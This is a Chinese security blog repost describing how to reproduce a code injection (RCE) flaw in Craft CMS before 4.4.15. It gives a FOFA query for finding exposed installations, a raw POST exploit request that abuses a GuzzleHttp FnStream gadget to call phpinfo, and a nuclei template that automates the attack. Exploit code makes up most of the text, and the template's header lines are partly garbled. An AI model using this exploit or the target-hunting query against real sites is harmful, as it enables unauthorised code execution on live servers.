一、免责声明:
本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号望雪阁及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!
二、产品介绍:
Pixel&tonic Craft CMS是美国Pixel&tonic公司的一套内容管理系统(CMS),4.4.15之前版本存在代码注入漏洞。
三、资产梳理:
fofa:"Craft CMS"
四、漏洞复现:
POST /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Content-Length: 242
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
action=conditions/render&test[userCondition]=craftelementsconditionsusersUserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\GuzzleHttp\Psr7\FnStream", "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}
五、POC:
id: CraftCMS_rce
info:
name: CraftCMS_rce
author: joyboy
severity: critical
description: http://xxx.xxx.xxx/index.php
metadata:
1 :
app="Craft CMS" :
verified: true
tags: cve2023,rce
requests:
raw:
|-
POST /index.php HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 :
Connection: close
238 :
application/x-www-form-urlencoded :
gzip, deflate :
action=conditions/render&test[userCondition]=craftelementsconditionsusersUserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\GuzzleHttp\Psr7\FnStream", "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}
true :
matchers:
type: dsl
condition: and
dsl:
'contains((body), "Version") && status_code == 200'
原文始发于微信公众号(fly的渗透学习笔记):Craft CMS 远程代码执行漏洞复现(附nuclei POC)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论